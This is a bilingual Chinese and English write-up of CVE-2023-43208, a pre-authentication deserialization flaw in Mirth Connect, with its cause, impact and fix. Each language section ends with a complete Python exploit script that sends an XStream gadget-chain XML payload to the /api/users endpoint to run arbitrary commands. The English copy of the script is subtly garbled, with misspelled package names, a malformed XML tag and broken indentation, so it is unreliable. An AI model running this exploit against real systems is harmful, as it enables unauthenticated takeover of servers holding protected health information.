NextGen Healthcare Mirth Connect

CVE-2023-43208

漏洞概述

CVE-2023-43208 是一个存在于 NextGen Healthcare Mirth Connect 数据集成平台中的严重安全漏洞。它允许未经身份验证的攻击者实现 RCE (Remote Code Execution - 远程代码执行),其 CVSS (Common Vulnerability Scoring System - 通用漏洞评分系统) 评分为极高的 9.8 分(满分 10 分)。

技术细节

该漏洞的根本原因在于对不可信数据的反序列化处理不当:

  • 前置背景: 此漏洞实际上是对稍早前另一个严重漏洞(CVE-2023-37679)的补丁绕过。最初的修复方案仅仅使用了黑名单来拦截特定的危险对象类,事实证明这种防御并不完整。
  • 攻击载体: Mirth Connect 在通过 API (Application Programming Interface - 应用程序编程接口) 接收 XML 数据时,使用了 XStream Java 库进行反序列化(即将外部 XML 数据转换回内部的 Java 对象)。
  • 执行过程: 由于系统在解析数据前没有进行严格的验证,攻击者可以构造并发送特制的恶意 XML 载荷。当系统自动处理该载荷时,会以 Mirth Connect 服务的当前运行权限(在 Windows 平台上通常是最高级别的 SYSTEM 权限)静默执行任意的底层操作系统命令。

影响范围与潜在风险

  • 受影响版本: 所有早于 4.4.1 版本的 Mirth Connect 实例均存在此风险。
  • 实际暴露风险: 该漏洞由于不需要任何认证凭据(如用户名或密码)即可触发,极其容易被利用。目前它已被 CISA (Cybersecurity and Infrastructure Security Agency - 美国网络安全和基础设施安全局) 正式列入 KEV (Known Exploited Vulnerabilities - 已知被利用漏洞) 目录,这意味着在真实网络环境中已经检测到了针对该漏洞的活跃攻击事件。
  • 数据与网络威胁: Mirth Connect 广泛用于处理敏感数据。一旦服务器被攻破,攻击者不仅可以完全接管该服务器,还可能以此为完美跳板在内部网络中横向渗透,窃取大量的 PHI (Protected Health Information - 受保护的健康信息) 或其他核心业务资产。

修复与应对方案

确保管理后台及核心服务始终处于安全版本是当务之急。官方彻底修复此问题的唯一有效方案是将 Mirth Connect 升级到 4.4.1 或更高版本。在 4.4.1 版本中,官方移除了脆弱的 XStream 黑名单机制,转而采用了更安全的显式白名单策略来限制可被反序列化的类。

利用

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
#   (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

    xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.lang.Runtime</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("The target appears to have executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
    parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
    parser.add_argument('-u', '--url', required=True, help='Target URL.')
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()

NextGen Healthcare Mirth Connect

CVE-2023-43208

Vulnerability Overview

CVE-2023-43208 is a severe security vulnerability found in the NextGen Healthcare Mirth Connect data integration platform. It allows unauthorized attackers to execute remote code (RCE – Remote Code Execution) on the affected system, with a CVSS (Common Vulnerability Scoring System) score of 9.8 out of 10, indicating a high level of risk.

Technical Details

The root cause of this vulnerability lies in the improper deserialization of untrusted data:

  • Background: This vulnerability is actually a bypass of a previous critical flaw (CVE-2023-37679). The initial fix only used a blacklist to block specific dangerous object classes, which proved to be an inadequate defense mechanism.
  • Attack Vector: When Mirth Connect receives XML data via APIs, it uses the XStream Java library for deserialization (converting external XML data into internal Java objects).
  • Execution Process: Due to a lack of strict validation before data parsing, attackers can create and send malicious XML payloads. Once processed by the system, these payloads can silently execute any underlying operating system command with the current privileges of the Mirth Connect service, which are usually the highest level (SYSTEM privileges on Windows).

Impact and Potential Risks

  • Affected Versions: All versions of Mirth Connect prior to 4.4.1 are at risk.
  • Exposure Risk: The vulnerability is extremely easy to exploit since it does not require any authentication credentials (such as usernames or passwords). It has already been officially listed by CISA (Cybersecurity and Infrastructure Security Agency) in the KEV (Known Exploited Vulnerabilities) directory, indicating that active attacks using this vulnerability have been detected in real-world networks.
  • Data and Network Threats: Mirth Connect is widely used to handle sensitive data. If a server is compromised, attackers can not only take full control of it but also use it as a launching point for further intrusions within the internal network, potentially stealing large amounts of PHI (Protected Health Information) or other critical business assets.

Fixing and Mitigation Strategies

It is essential to ensure that the management backend and core services are always running on secure versions. The only effective way to fix this issue is to upgrade Mirth Connect to version 4.4.1 or later. In version 4.4.1, the vulnerable XStream blacklist mechanism was removed in favor of a more secure explicit whitelist approach to control which classes can be deserialized.

Exploit Script

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-

# (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commonscollections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commonscollections4.functors.ConstantTransformer>
              <iConstant class="java.lang.Runtime"></iConstant>
            </org.apache.commonscollections4.functors.ConstantTransformer>
            <org.apache.commonscollections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commonscollections4.functors.InvokerTransformer>
            <org.apache.commonscollections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commonscollections4.functors.InvokerTransformer>
            <org.apache.commonscollections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commonscollections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

```python
def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("It appears that the target has executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-43208.")
    parser.add_argument('-c', '--command', required=True, help="Command to execute on the target system.")
    parser.add_argument('-u', '--url', required=True, help="Target URL.")
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help="Target platform (default: unix).")
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()